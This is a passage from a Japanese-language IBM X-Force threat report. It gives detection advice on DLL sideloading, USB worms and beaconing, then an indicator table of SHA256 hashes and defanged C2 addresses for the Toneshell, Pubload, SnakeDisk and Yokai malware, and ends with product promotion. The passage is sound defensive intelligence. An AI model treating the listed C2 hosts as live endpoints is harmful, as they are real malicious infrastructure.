  • Google Drive、Boxクラウド・ストレージ、Dropboxのダウンロード・リンクを含むEメールやPDFに注意してください。
  • ダウンロードされたアーカイブには、想定済みの文書が含まれている場合でも注意が必要です。スタッフが予期しないファイル拡張機能を表示して認識できるようにトレーニングを実施してください。
  • PubloadまたはToneshellビーコンの兆候として、以前のTLSハンドシェイクのないTLS 1.2アプリケーション・データ・パケット(ヘッダー:17 03 03)をネットワークで監視および追跡してください。
  • USBワームに感染したデバイスである可能性のある疑わしい実行ファイル名、DLL、隠しディレクトリーを含むUSBドライブを監視および追跡してください。
  • DLLサイドローディングに対して脆弱な正規のEXEとそれに対応するDLLを含む、C:\ProgramData\内の疑わしいディレクトリーや不明なディレクトリーを監視および追跡してください。
  • レジストリーとスケジュールされたタスクにおける永続化手法を監視および追跡してください。
  • 本レポートで詳述されているプロセス、ネットワーク・トラフィック、IoCを追跡してください。
  • 悪意のあるDLLをサイドロードする、一見無害なプロセス実行ファイルに由来する異常なネットワーク、永続性、ファイル変更アクティビティーを監視してください。

侵害の兆候

分類

インジケーターの種類

コンテキスト

f8b28cae687bd55a148d363d58f1
3a797486f12221f0e0d080ffb53611
d54231

SHA256

Toneshell8を配信する武器化されたアーカイブ

8132beeb25ce7baed0b561922d26
4b2a9852957df7b6a3daacfbb3a9
69485c79

SHA256

Toneshell8を配信する武器化されたアーカイブ

d1466dca25e28f0b7fae71d5c2abc0
7b397037a9e674f38602690e96cc5
b2bd4

SHA256

Toneshell8を配信する武器化されたアーカイブ

1272a0853651069ed4dc505007e85
25f99e1454f9e033bcc2e58d60fdaf
a4f02

SHA256

Toneshell8を配信する武器化されたアーカイブ

b8c31b8d8af9e6eae15f30019e39c
52b1a53aa1c8b0c93c8d075254ed
10d8dfc

SHA256

Toneshell7を配信する武器化されたアーカイブ

7087e84f69c47910fd39c3869a70
6e55324783af8d03465a9e7bfde
52fe4d1d6

SHA256

Publoadを配信する武器化されたアーカイブ

38fcd10100f1bfd75f8dc0883b0c
2cb48321ef1c57906798a422f2a2
de17d50c

SHA256

Publoadを配信する武器化されたアーカイブ

69cb87b2d8ee50f46dae791b5a0
c5735a7554cc3c21bb1d989baa0f3
8c45085c

SHA256

武器化されたアーカイブのダウンロードURLを含むPDF

564a03763879aaed4da8a8c1d60
67f4112d8e13bb46c2f80e0fcb9ffd
d40384c

SHA256

Toneshell7を挿入するローダー

e4bb60d899699fd84126f9fa0df
f72314610c56fffca3d11f3b6fc93fc
b75e00

SHA256

Pubload を挿入するローダー

c2d1ff85e9bb8feb14fd015dceee1
66c2e52e2226c07e23acc348815
c0eb4608

SHA256

Pubload を挿入するローダー

188.208.141[.]196

IPv4

Pubload C2サーバー

bdbc936ddc9234385317c4ee83
bda087e389235c4a182736fc597
565042f7644

SHA256

Toneshell8バックドア

f0fec3b271b83e23ed7965198f3b
00eece45bd836bf10c038e99106
75bafefb1

SHA256

Toneshell8バックドア

e7b29611c789a6225aebbc9fee37
10a57b51537693cb2ec16e2177c22
392b546

SHA256

Toneshell8バックドア

9ca5b2cbc3677a5967c448d9d21
eb56956898ccd08c06b372c6471f
b68d37d7d

SHA256

Toneshell8バックドア

146.70.29[.]229

IPv4

Toneshell7/Toneshell8 C2サーバー

318a1ebc0692d1d012d20d306
d6634b196cc387b1f4bc38f97d
d437f117c7e20

SHA256

Toneshell9バックドア

0d632a8f6dd69566ad98db56
e53c8f16286a59ea2bea81c2761
d43b6ab4ecafd

SHA256

Toneshell9を配信する武器化されたアーカイブ

39e7bbcceddd16f6c4f2fc2335a
50c534e182669cb5fa90cbe29e
49ec6dfd0df

SHA256

Toneshell9を配信する武器化されたアーカイブ

05eb6a06b404b6340960d7a6
cf6b1293e706ce00d7cba9a8b7
2b3780298dc25d

SHA256

Toneshell9のベースとなったToneshellフォークを含むローダー

123.253.34[.]44

IPv4

Toneshell9 C2サーバー

www.slickvpn[.]com

ドメイン

Toneshell9 C2サーバー

dd694aaf44731da313e4594d
6ca34a6b8e0fcce505e39f827
3b9242fdf6220e0

SHA256

SnakeDisk USBワーム

bb5bb82e5caf7d4dbbe878b7
5b23f793a5f3c5ca6dba70d8b
e447e8c004d26ce

SHA256

SnakeDiskの良性EXEペイロードがDLLのサイドローディングに使用されるYokai

35bec1d8699d29c27b66e564
6e58d25ce85ea1e41481d048b
cea89ea94f8fb4b

SHA256

YokaiバックドアDLL

http://118.174.183[.]89/kptinfo
/import/index.php

URL

Yokai C2サーバー

IBM X-Force Premier Threat Intelligenceは、FiligranのOpenCTIと統合され、この脅威アクティビティーやその他に関して、実行可能な脅威インテリジェンスを提供しています。脅威アクター、マルウェア、各業界のリスクについてのインサイトにアクセスしましょう。X-Force OpenCTI Connectorをインストールし、IBM X-Forceの専門知識を活用して、検知、対応、サイバーセキュリティーを強化してください。X-Force Premier Threat Intelligenceの30日間トライアルを今すぐお試しくださお試しください!

関連ソリューション
脅威管理サービス

最新の脅威に対して予測、防御、対応を行うことで、ビジネス・レジリエンスを高めます。

 

脅威管理サービスはこちら
脅威の検知と対応ソリューション

IBMの脅威検知および対応ソリューションを使用して、セキュリティーを強化し、脅威の検知を迅速化します。

脅威検知ソリューションの詳細はこちら
モバイル脅威防御(MTD)ソリューション

IBM MaaS360は、モバイル環境を包括的に保護するモバイル脅威防御ソリューションを提供します。

モバイル脅威対策ソリューションを見る
次のステップ

包括的な脅威管理ソリューションを活用し、サイバー攻撃からビジネスを確実に保護します。

  1. 脅威管理サービスはこちら
  2. 脅威対応のブリーフィングを予約する